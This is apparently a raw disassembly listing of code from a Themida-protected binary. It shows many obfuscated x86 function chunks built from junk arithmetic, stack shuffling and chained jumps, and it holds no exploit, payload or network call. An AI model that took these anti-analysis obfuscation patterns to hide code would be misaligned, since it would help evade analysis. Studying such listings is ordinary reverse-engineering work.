--------------------------------------------------------------------------- loc_56FBE7: ; CODE XREF: Themida_:005614D8j add esi, ecx pop ecx xchg esi, [esp] mov esp, [esp] shr dword ptr [esp], cl pushf jmp loc_5647DF ; --------------------------------------------------------------------------- loc_56FBF9: ; CODE XREF: Themida_:0055CA01j mov [esp], eax mov eax, 4 sub esi, eax pop eax jmp loc_55CC63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C719 loc_56FC09: ; CODE XREF: sub_55C719+ABCDj pop ebp mov esi, [esp+4+var_4] add esp, 4 and ecx, ebp mov ebp, [esp+0] add esp, 4 shr ecx, 7 push dword ptr [edi+1Ch] push dword ptr [esp+0] mov eax, [esp+4+var_4] jmp loc_5688E3 ; END OF FUNCTION CHUNK FOR sub_55C719 ; --------------------------------------------------------------------------- loc_56FC2F: ; CODE XREF: Themida_:0056DDF5j mov ecx, 337950EEh mov eax, ecx jmp loc_55DE19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D83A loc_56FC3B: ; CODE XREF: sub_56D83A-FFC5j add esp, 4 add [esp+arg_0], 4049Fh jmp loc_55FCCF ; END OF FUNCTION CHUNK FOR sub_56D83A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56FC4E: ; CODE XREF: sub_56755A+1DCj or esi, 12010072h add esi, 0E40A3AE2h mov ecx, esi pop esi sub ecx, 30AFF0F7h jmp loc_55D63D ; --------------------------------------------------------------------------- loc_56FC68: ; CODE XREF: sub_56755A+2FF9j push eax mov eax, 54B37FBFh add eax, 1 push ecx mov ecx, 0D905E49h or eax, ecx pop ecx add eax, 0A24C803Bh add ebx, eax jmp loc_570108 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DA88 loc_56FC86: ; CODE XREF: sub_55DA88+11B1Bj pop edx shl eax, 1 jmp loc_56C526 ; END OF FUNCTION CHUNK FOR sub_55DA88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEE9 loc_56FC8E: ; CODE XREF: sub_56CEE9-C464j mov edi, 4A963B67h add edi, 26EA2B19h shr edi, 2 inc edi add edi, 6249263Fh xor edi, 0EC837A5h jmp loc_561B0E ; END OF FUNCTION CHUNK FOR sub_56CEE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56FCAE: ; CODE XREF: sub_56755A-64F6j push esi push 36DB6984h pop esi add esi, 7C2427BCh and esi, 714C7496h or esi, 6C8B58F5h xor esi, 4F9401Ah mov ebx, esi pop esi mov ecx, 783618EBh xor ecx, ebx push [esp+18h+var_18] pop ebx add esp, 4 sub edi, ecx jmp loc_57036B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56FCE8: ; CODE XREF: Themida_:0056AA9Ej or edx, 56B1A03h jmp loc_569796 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DD27 loc_56FCF3: ; CODE XREF: sub_55DD27+7BDFj push esp pop esi add esi, 4 jmp loc_55F7AD ; END OF FUNCTION CHUNK FOR sub_55DD27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C65 loc_56FD00: ; CODE XREF: sub_566C65-830Cj add esp, 4 shl ecx, 6 neg ecx xor ecx, 71B040F6h xor ecx, 0FB390F72h add edx, ecx mov ecx, [esp+4+var_4] add esp, 4 push ebp push edi jmp loc_564755 ; END OF FUNCTION CHUNK FOR sub_566C65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56FD23: ; CODE XREF: sub_56E89A-8EAFj and ebx, esi mov esi, [esp+0] push ebp push esp mov ebp, [esp+8+var_8] jmp loc_56C985 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56FD32: ; CODE XREF: sub_56755A+7D0Dj mul cl jmp loc_5681D6 ; --------------------------------------------------------------------------- loc_56FD39: ; CODE XREF: sub_56755A+5CEj push eax push 487F647Bh jmp loc_562631 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56FD44: ; CODE XREF: Themida_:00566577j dec edi inc edi add edi, 107D076Ah sub edi, 9F322D25h sub ecx, edi pop edi mov eax, ecx pop ecx add esi, 66A71942h jmp loc_56B5FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56FD63: ; CODE XREF: sub_56755A+517Bj mov edi, [esp+0Ch+var_C] add esp, 4 push ecx push ebx push ebp jmp loc_56134C ; --------------------------------------------------------------------------- loc_56FD74: ; CODE XREF: sub_56755A+3D75j push eax mov eax, esp add eax, 4 push ebx mov ebx, 4 sub eax, ebx jmp loc_56B5CB ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5615A9 loc_56FD89: ; CODE XREF: sub_5615A9-4DDEj sub bh, 0BBh add bh, cl jmp loc_5604FE ; END OF FUNCTION CHUNK FOR sub_5615A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EB5 loc_56FD93: ; CODE XREF: sub_560EB5+Ej sub bx, 15F0h add bx, cx push ax push edx push si mov si, 15F0h jmp loc_561167 ; END OF FUNCTION CHUNK FOR sub_560EB5 ; --------------------------------------------------------------------------- loc_56FDA9: ; CODE XREF: Themida_:00568888j mov esi, 4 add [esp+4], esi pop esi push dword ptr [esp] jmp loc_563C68 ; --------------------------------------------------------------------------- loc_56FDBB: ; CODE XREF: Themida_:00563103j mov [esp], esp add dword ptr [esp], 4 jmp loc_56ABBC ; --------------------------------------------------------------------------- loc_56FDC7: ; CODE XREF: Themida_:0055F139j mov [esp], ecx jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56FDCF: ; CODE XREF: Themida_:0056ED34j mov [esp], ebp mov ebp, 262B48C1h push edi mov edi, 13073372h dec edi shl edi, 1 jmp loc_569DCC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56FDE5: ; CODE XREF: sub_56755A+2E3Dj mov esi, esp add esi, 4 add esi, 4 jmp loc_56C975 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56FDF5: ; CODE XREF: Themida_:00568D3Ej push eax mov eax, 4 jmp loc_56EEA6 ; --------------------------------------------------------------------------- loc_56FE00: ; CODE XREF: Themida_:0056BBF9j push eax jmp loc_567FC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AE72 loc_56FE06: ; CODE XREF: sub_56AE72-CA57j mov eax, 54BA6DEDh or ecx, eax jmp loc_56DE9D ; END OF FUNCTION CHUNK FOR sub_56AE72 ; --------------------------------------------------------------------------- loc_56FE12: ; CODE XREF: Themida_:0055F1A8j pop edi add edi, 349AF31Dh push edi add dword ptr [esp], 6DEC0C83h pop ebx sub ebx, 6DEC0C83h pop edi add eax, ebx pop ebx jmp loc_56FEF3 ; --------------------------------------------------------------------------- loc_56FE31: ; CODE XREF: Themida_:005663B1j add eax, 67440C28h sub eax, ecx push ebx jmp loc_56371C ; --------------------------------------------------------------------------- loc_56FE3E: ; CODE XREF: Themida_:00566629j add esi, edi pop edi add edi, esi pop esi xchg edi, [esp] pop esp sub esp, 4 jmp loc_568BFB ; --------------------------------------------------------------------------- loc_56FE53: ; CODE XREF: Themida_:0055B96Dj sub ebp, eax pop eax push dword ptr [esp] pop eax jmp loc_570771 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56FE5F: ; CODE XREF: sub_56755A+4BEBj push [esp+0Eh+var_10+2] pop ebx add esp, 4 push 5C6Dh mov [esp+0Eh+var_10+2], ebp push 2396h mov [esp+12h+var_14+2], eax mov eax, 7B7401D2h jmp loc_564240 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56FE80: ; CODE XREF: Themida_:0056DAF4j xor [esp], esi xor esi, [esp] pop esp jmp loc_56DED1 ; --------------------------------------------------------------------------- loc_56FE8C: ; CODE XREF: Themida_:0056A257j pop esi mov edx, ebx pop ebx jmp loc_569E05 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edx push edi push 27CEh mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 push eax mov eax, 0B0D30C5h inc eax xor eax, 386E1610h add eax, 69ED79E9h dec eax inc eax add eax, 62AF5F45h add edi, eax pop eax sub edi, 4 jmp loc_55FCF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F62 loc_56FEDB: ; CODE XREF: sub_562F62+13j push esi jmp loc_56527A ; END OF FUNCTION CHUNK FOR sub_562F62 ; --------------------------------------------------------------------------- loc_56FEE1: ; CODE XREF: Themida_:0056CE5Cj mov ecx, 9442ECDh add ecx, 97E3229h sub ecx, edx jmp loc_562348 ; --------------------------------------------------------------------------- loc_56FEF3: ; CODE XREF: Themida_:0056FE2Cj push edi jmp loc_561272 ; --------------------------------------------------------------------------- loc_56FEF9: ; CODE XREF: Themida_:0056C6DFj inc eax push edx mov edx, 841133BDh add eax, edx pop edx xor edi, eax jmp loc_55E23A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56FF0A: ; CODE XREF: sub_56755A+84A8j pop ebx xor ecx, 653C6BA2h xor esi, ecx pop ecx jmp loc_55C012 ; --------------------------------------------------------------------------- loc_56FF19: ; CODE XREF: sub_56755A+7Fj mov ebx, 563F55D5h mov ecx, 47F308D0h jmp loc_566CA9 ; --------------------------------------------------------------------------- loc_56FF28: ; CODE XREF: sub_56755A+870j add edi, ebp mov ebp, [esp+1Eh+var_20+2] add esp, 4 xchg edi, [esp+1Ah+var_1C+2] jmp loc_56BE75 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56FF3B: ; CODE XREF: Themida_:00560668j mov ebp, 2 add edx, ebp mov ebp, [esp] jmp loc_564DF0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56FF4A: ; CODE XREF: sub_56755A+8525j pop ebx sub edi, 5B823021h and edi, 429D7EDCh sub edi, 24A96D7Fh xor edi, 9DE78A7Ch jmp loc_55E3C7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55D71E loc_56FF68: ; CODE XREF: sub_55D71E+1009Dj push [esp+0Ch+var_C] pop ebx add esp, 4 push ebx push eax jmp loc_56A58E ; END OF FUNCTION CHUNK FOR sub_55D71E ; --------------------------------------------------------------------------- loc_56FF79: ; CODE XREF: Themida_:0056C900j add esi, edx pop edx push 16AFh mov [esp], eax push ebp mov ebp, 4 mov eax, ebp pop ebp sub esi, eax pop eax jmp loc_56429D ; --------------------------------------------------------------------------- loc_56FF95: ; CODE XREF: Themida_:0056A892j xchg eax, edi not edi jmp loc_564AB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56FF9D: ; CODE XREF: sub_56755A-4FD9j add [esp+8+var_4], 79345518h push esi mov esi, 6E18683Ah sub [esp+0Ch+var_4], 7A5B1FF0h sub [esp+0Ch+var_4], esi add [esp+0Ch+var_4], 7A5B1FF0h jmp loc_56A6DD ; --------------------------------------------------------------------------- loc_56FFC4: ; CODE XREF: sub_56755A+5913j sub eax, 9EA68D1Ah sub ebx, 7DDC6D8Bh sub ebx, 47B3AF4h add ebx, eax add ebx, 47B3AF4h add ebx, 7DDC6D8Bh jmp loc_56A368 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F50 loc_56FFE8: ; CODE XREF: sub_562F50+6044j pop ebx push [esp-4+arg_0] pop eax push 62B4h mov [esp+0], eax mov eax, esp push edx mov edx, 3FBE26EFh push ebp mov ebp, 3C0B64A5h shr ebp, 8 neg ebp jmp loc_56F6EE ; END OF FUNCTION CHUNK FOR sub_562F50 ; --------------------------------------------------------------------------- loc_57000D: ; CODE XREF: Themida_:0055CBD3j add eax, 4 add eax, 4 xchg eax, [esp] pop esp push esi mov esi, 4 add ebx, esi jmp loc_569813 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_570026: ; CODE XREF: sub_56755A-1265j sub ecx, 473D6443h add ecx, 299F2ECDh pop ebx sub ecx, 4 jmp loc_565713 ; --------------------------------------------------------------------------- loc_57003B: ; CODE XREF: sub_56755A+13CDj push ecx mov ecx, 74154C0Eh sub ecx, 0A624515Fh sub edi, ecx jmp loc_56E0AD ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_57004E: ; CODE XREF: Themida_:005620DCj push 50AFh mov [esp], esi push esp jmp loc_568A83 ; --------------------------------------------------------------------------- loc_57005C: ; CODE XREF: Themida_:0056115Cj add eax, ebp pop ebp jmp loc_56D95C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_570064: ; CODE XREF: sub_56971C+Cj pop eax xor eax, 4C417FD6h shl eax, 3 jmp loc_568C44 ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- loc_570072: ; CODE XREF: Themida_:0056D907j mov bx, [esp] push ebp jmp loc_566F17 ; --------------------------------------------------------------------------- loc_57007C: ; CODE XREF: Themida_:0056E9CAj add dword ptr [esp], 1 pop edi jmp loc_56B1D1 ; --------------------------------------------------------------------------- loc_570086: ; CODE XREF: Themida_:005645D3j sub dh, ch mov ecx, [esp] add esp, 4 mov bl, dh pop edx shr bl, 6 inc bl sub bl, 0FFh push bx not byte ptr [esp] pop bx push 349Dh mov [esp], eax mov ah, 6Ah add ah, 0FCh push ebx mov bl, 0FAh xor ah, bl jmp loc_56ADAD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C86A loc_5700B7: ; CODE XREF: sub_56C86A-37BEj mov cx, [esp+0] push edi push esp pop edi add edi, 4 push eax mov eax, 2 add edi, eax pop eax xchg edi, [esp+4+var_4] mov esp, [esp+4+var_4] sub bl, al push edx jmp loc_55F4C1 ; END OF FUNCTION CHUNK FOR sub_56C86A ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], ecx jmp loc_5663AB ; --------------------------------------------------------------------------- loc_5700EA: ; CODE XREF: Themida_:00560731j xor dh, 0C6h jmp loc_55D0F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5700F2: ; CODE XREF: sub_56755A+5EADj sub edx, 223076B0h pop ecx add edx, eax push edi mov edi, 658252E1h neg edi jmp loc_55D41E ; --------------------------------------------------------------------------- loc_570108: ; CODE XREF: sub_56755A+8727j mov eax, [esp+1Ah+var_1C+2] add esp, 4 add ebx, 4 xor ebx, [esp+16h+var_18+2] xor [esp+16h+var_18+2], ebx jmp loc_565245 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_57011F: ; CODE XREF: Themida_:0056207Dj push esp jmp loc_55F69D ; --------------------------------------------------------------------------- loc_570125: ; CODE XREF: Themida_:0056EB90j mov [esp], eax mov eax, 1EB055Bh push esi push 1D7206BFh pop esi dec esi push edx mov edx, 57A15188h shl edx, 7 sub edx, 859657A9h jmp loc_56D62D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A9 loc_570149: ; CODE XREF: sub_5687A9-63F1j mov ebp, edx jmp loc_563090 ; END OF FUNCTION CHUNK FOR sub_5687A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_570150: ; CODE XREF: sub_56971C-60C1j shl eax, 3 push 3915h mov [esp+0Ch+var_C], edi jmp loc_5648DD ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_570160: ; CODE XREF: sub_56755A+3406j push eax mov eax, esp jmp loc_56C4D8 ; --------------------------------------------------------------------------- loc_570168: ; CODE XREF: sub_56755A+5150j push edi push ebp mov ebp, 34DF4F90h not ebp or ebp, 46AA6062h not ebp push esi mov esi, 0B2E4ADAEh jmp loc_567D77 ; --------------------------------------------------------------------------- loc_570184: ; CODE XREF: sub_56755A-B90Bj mov [esp+16h+var_18+2], eax mov eax, 3DBC1085h jmp sub_565DC4 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push 4BBCh mov [esp], ebp jmp loc_55D7C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5701A2: ; CODE XREF: sub_56755A+66E4j pop eax mov edx, ecx mov ecx, [esp+4+var_4] add esp, 4 push ecx mov ecx, edx mov [edi+20h], ecx pop ecx push dword ptr [esp+0] pop edx push edx push esp jmp loc_55EDC0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569E65 loc_5701C0: ; CODE XREF: sub_569E65+1j push 15AFh mov [esp+8+var_8], ebx mov ebx, 6E5778C0h add ebx, 9B72E237h jmp loc_564D83 ; END OF FUNCTION CHUNK FOR sub_569E65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5701D8: ; CODE XREF: sub_56755A-BC46j add ebp, 4 xchg ebp, [esp+8+var_8] pop esp sub esp, 4 mov [esp+8+var_8], esi push 2162h mov [esp+0Ch+var_C], esp push ebx mov ebx, 4 add [esp+10h+var_C], ebx pop ebx jmp loc_56EC34 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_570200: ; CODE XREF: sub_5635DE+37B2j pop edx add esp, 4 push [esp+4+var_4] mov esi, [esp+8+var_8] push edx push esp pop edx push edi mov edi, 2FB7F48h jmp loc_55CD67 ; END OF FUNCTION CHUNK FOR sub_5635DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_570218: ; CODE XREF: sub_56755A+1CEj jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_57021D: ; CODE XREF: Themida_:0055DF8Cj pop edx jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_570223: ; CODE XREF: sub_55FDEF+337j add edx, 4 jmp loc_56EE0E ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- loc_57022E: ; CODE XREF: Themida_:0056092Dj sub esp, 4 mov [esp], edx mov edx, esp push ecx mov ecx, 37972D5Bh shl ecx, 5 not ecx add ecx, 17620ACFh xor ecx, 247C5F6Ah add edx, ecx pop ecx jmp loc_56FB44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_570258: ; CODE XREF: sub_56755A+29F2j add esp, 4 xor eax, [esp+2+var_4+2] xor [esp+2+var_4+2], eax xor eax, [esp+2+var_4+2] mov esp, [esp+2+var_4+2] and byte ptr [esp+2+var_4+2], al pushf jmp loc_560593 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_570270: ; CODE XREF: Themida_:0056DBA1j add ecx, edi pop edi jmp loc_55F256 ; --------------------------------------------------------------------------- loc_570278: ; CODE XREF: Themida_:0056F58Aj mov esp, [esp] movzx cx, al jmp loc_56E7B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_570284: ; CODE XREF: sub_56755A+674Dj mov esp, [esp+24h+var_24] sub esp, 4 mov [esp+28h+var_28], ecx sub esp, 4 mov [esp+2Ch+var_2C], ebx push edx mov dl, 0Bh mov bh, 0C1h jmp loc_55B935 ; --------------------------------------------------------------------------- loc_5702A0: ; CODE XREF: sub_56755A-708Fj mov ebp, 153C1709h jmp loc_56C633 ; --------------------------------------------------------------------------- loc_5702AA: ; CODE XREF: sub_56755A+29Bj add bl, dh mov edx, [esp-8+arg_4] jmp loc_563322 ; --------------------------------------------------------------------------- loc_5702B4: ; CODE XREF: sub_56755A-48ECj pop esp or eax, eax jz loc_56A122 push dword ptr [edi+1Ch] jmp loc_55DD03 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5636A9 loc_5702C5: ; CODE XREF: sub_5636A9-37FEj add edx, 4 add edx, 4 xchg edx, [esp+8+var_8] pop esp movzx eax, al jmp loc_56EF35 ; END OF FUNCTION CHUNK FOR sub_5636A9 ; =============== S U B R O U T I N E ======================================= sub_5702DD proc near ; CODE XREF: sub_56755A-8C2Ej var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0055E3B1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055FE42 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00560693 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00563CBF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005640D2 SIZE 00000049 BYTES ; FUNCTION CHUNK AT 005694A5 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056D576 SIZE 0000000A BYTES sub esp, 4 mov [esp+4+var_4], ebx jmp loc_55FE42 sub_5702DD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5702EB: ; CODE XREF: Themida_:0055EA09j sub esp, 4 mov [esp], ecx push ebx push edi mov edi, 3B81480Ah sub edi, 1C0AF1C9h mov ebx, edi pop edi add ebx, 1 xchg ecx, ebx not ecx xchg ecx, ebx push eax mov eax, 35103BB9h jmp loc_55E78E ; --------------------------------------------------------------------------- loc_570318: ; CODE XREF: Themida_:005614B7j add eax, 7A320D5h sub eax, ebx jmp loc_55E267 ; --------------------------------------------------------------------------- loc_570324: ; CODE XREF: Themida_:00562D9Aj mov ebp, 32A2363Eh jmp loc_564DB6 ; --------------------------------------------------------------------------- loc_57032E: ; CODE XREF: Themida_:0056ADF4j mov ecx, esp add ecx, 4 jmp loc_56C5F1 ; --------------------------------------------------------------------------- mov ax, [esp] push 79F4h mov [esp], edi mov edi, esp jmp loc_56921A ; --------------------------------------------------------------------------- loc_57034E: ; CODE XREF: Themida_:0055E7B8j add eax, 34A208AFh add eax, 7AB71C9Ch push 286Ch mov [esp], ecx push edx mov edx, 52BC2C69h jmp loc_56EB67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_57036B: ; CODE XREF: sub_56755A+8789j mov ecx, [esp+14h+var_14] add esp, 4 jmp loc_56DA47 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5615A9 loc_570376: ; CODE XREF: sub_5615A9+E3Ej mov dh, 43h push ecx mov cl, 0B1h add cl, 9Fh neg cl jmp loc_56DF07 ; END OF FUNCTION CHUNK FOR sub_5615A9 ; --------------------------------------------------------------------------- loc_570385: ; CODE XREF: Themida_:00569586j mov cl, 33h mov dl, cl mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 push eax push ebp mov ebp, 4 mov eax, ebp pop ebp add ebp, eax pop eax xchg ebp, [esp] pop esp xor al, dl mov edx, [esp] push ecx jmp loc_56B794 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5703B1: ; CODE XREF: sub_56755A+C14j push ecx jmp loc_5625DC ; --------------------------------------------------------------------------- loc_5703B7: ; CODE XREF: sub_56755A-38F7j add eax, ecx add eax, 3C154E5h pop ecx push 0D4h mov [esp+4+var_4], eax push dword ptr [esp+4] pop eax pop [esp+4+var_4] pop esp imul cx jmp loc_561616 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_568676 ; --------------------------------------------------------------------------- loc_5703E0: ; CODE XREF: Themida_:0056E63Aj dec esi push esi not dword ptr [esp] mov esi, [esp] jmp loc_55EB6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_5703ED: ; CODE XREF: sub_566504-6F5j sub esi, 25145C6Dh jmp loc_5672B2 ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5703F8: ; CODE XREF: sub_56755A-664Fj mov ebx, ecx jmp loc_56BD10 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- lodsb jmp loc_561BB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_570405: ; CODE XREF: sub_56755A+927j pop esi add ebx, 4 jmp loc_56FB85 ; --------------------------------------------------------------------------- loc_570411: ; CODE XREF: sub_56755A-BB95j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+8+var_8] jmp loc_5650F3 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_570427: ; CODE XREF: Themida_:0056B303j mov ebp, [esp] add esp, 4 push edi mov edi, 1E8460BFh dec edi xor edi, 7F1B6E79h or edi, 475F4C4Bh shl edi, 3 add edi, 0C105898Ah jmp loc_564AF9 ; --------------------------------------------------------------------------- loc_57044E: ; CODE XREF: Themida_:0055E179j add edx, esi pop esi add edx, 4 jmp loc_56B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561BE4 loc_57045C: ; CODE XREF: sub_561BE4-114Dj add [esp+8+var_8], 0A7A4070h pop ebx push ebp mov ebp, 22252680h sub ebp, 41F35464h sub ebp, 0D5B791ACh sub ebx, ebp mov ebp, [esp+8+var_8] add esp, 4 pop eax and eax, ebx push dword ptr [esp+0] jmp loc_56E105 ; END OF FUNCTION CHUNK FOR sub_561BE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_57048C: ; CODE XREF: sub_56755A-AD40j push [esp-8+arg_4] pop edi add esp, 4 sub edi, 764A3CEFh sub edi, ebx add edi, 764A3CEFh push [esp-0Ch+arg_8] pop ebx jmp loc_567A28 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5704AA: ; CODE XREF: Themida_:0056405Bj pop edx mov edi, [esp] jmp loc_56C9AF ; --------------------------------------------------------------------------- loc_5704B3: ; CODE XREF: Themida_:0056BC78j sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ebx mov bh, 3Dh neg bh and bh, 8Ah inc bh and bh, 9Ah push ecx push eax mov ah, 1 jmp loc_55BD01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5704D7: ; CODE XREF: sub_56755A+3DD6j sub ecx, 7A895864h jmp loc_5642A5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5704E2: ; CODE XREF: Themida_:00564E0Bj mov edx, 0FA54850h push eax mov eax, 560B2071h xor eax, 27F31511h and eax, 6061468Ch jmp loc_55D341 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx sub esp, 4 mov [esp], esp push edi mov edi, 4 jmp loc_5664E2 ; --------------------------------------------------------------------------- loc_570512: ; CODE XREF: Themida_:005614BDj mov esi, 7581F0Dh and eax, esi pop esi jmp loc_56086A ; --------------------------------------------------------------------------- loc_57051F: ; CODE XREF: Themida_:0056286Fj add esp, 4 and ecx, 35C36FC4h jmp loc_56CC9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_570530: ; CODE XREF: sub_56755A-8787j xchg edx, [esp+8+var_8] mov esp, [esp+8+var_8] loc_570536: ; CODE XREF: sub_56E89A-11DD1j ; sub_56E89A:loc_565C5Ej push [esp+8+var_8] mov ebx, [esp+0Ch+var_C] jmp loc_56F2F3 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5615A9 loc_570541: ; CODE XREF: sub_5615A9+10j sub al, dh push cx jmp loc_56CA71 ; END OF FUNCTION CHUNK FOR sub_5615A9 ; --------------------------------------------------------------------------- loc_57054A: ; CODE XREF: Themida_:00561243j push ebp mov ebp, 395C2775h add eax, ebp pop ebp push edi jmp loc_5627C8 ; --------------------------------------------------------------------------- loc_570559: ; CODE XREF: Themida_:0056170Dj mov edx, 657611B0h neg edx jmp loc_566969 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_570565: ; CODE XREF: sub_56755A-748Fj sub eax, ecx add eax, 14E1236Ch pop ecx jmp loc_55EC71 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_570572: ; CODE XREF: Themida_:005649E4j mov ch, 64h jmp loc_55F7E8 ; --------------------------------------------------------------------------- loc_570579: ; CODE XREF: Themida_:00566A84j add esp, 4 push edx mov edx, 73C919E8h jmp loc_561A1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_57058A: ; CODE XREF: sub_56755A-8253j shl eax, 2 shl eax, 2 push ebp mov ebp, 5B7E49FAh shr ebp, 4 xor ebp, 3B08B096h jmp loc_5629D4 ; --------------------------------------------------------------------------- loc_5705A4: ; CODE XREF: sub_56755A-6458j mov ecx, [esp+1Eh+var_20+2] add esp, 4 add eax, 4 jmp loc_562A98 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5705B5: ; CODE XREF: Themida_:0056F111j or ebx, 46021742h add ebx, 2FE73C3Ch dec ebx jmp loc_563DEE ; 